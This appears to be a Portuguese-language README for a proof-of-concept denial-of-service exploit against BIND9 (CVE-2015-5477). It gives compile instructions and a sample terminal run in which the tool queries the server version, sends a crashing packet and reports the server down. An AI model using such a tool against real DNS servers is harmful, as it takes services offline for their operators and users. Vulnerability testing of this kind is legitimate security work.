
PoC exploit for CVE-2015-5477 BIND9 TKEY assertion failure
Este exploit testa se um servidor BIND9 está vulnerável enviando o exploit para verificar se ele falha.
É código C que se compila da maneira normal no Unix/Window, como:
# gcc tkill.c -o tkill
Rodará sobre IPv4 e IPv6.
É assim que se parece executando contra localhost. Como ele obtém
dois endereços IP resolvendo o nome, tentará ambos.
Primeiro consulta a string "version", depois envia o exploit.
Quando sonda o segundo endereço, a consulta de versão falha porque
o serviço já falhou com a primeira tentativa.
root@kali:~/cve-2015-5477# ./a.out localhost
--- PoC for CVE-2015-5477 BIND9 TKEY assert DoS ---
[+] localhost: Resolving to IP address
[+] localhost: Resolved to multiple IPs (NOTE)
[+] ::1: Probing...
[+] Querying version...
[+] ::1: "9.11.0pre-alpha"
[+] Sending DoS packet...
[+] Waiting 5-sec for response...
[+] timed out, probably crashed
[+] 127.0.0.1: Probing...
[+] Querying version...
[-] timed out getting version, trying again
[-] timed out getting version, trying again
[-] timed out getting version, trying again
[-] Can't query server, is it crashed already?
[-] Sending exploit anyway.
[+] Sending DoS packet...
[+] Waiting 5-sec for response...
[+] timed out, probably crashed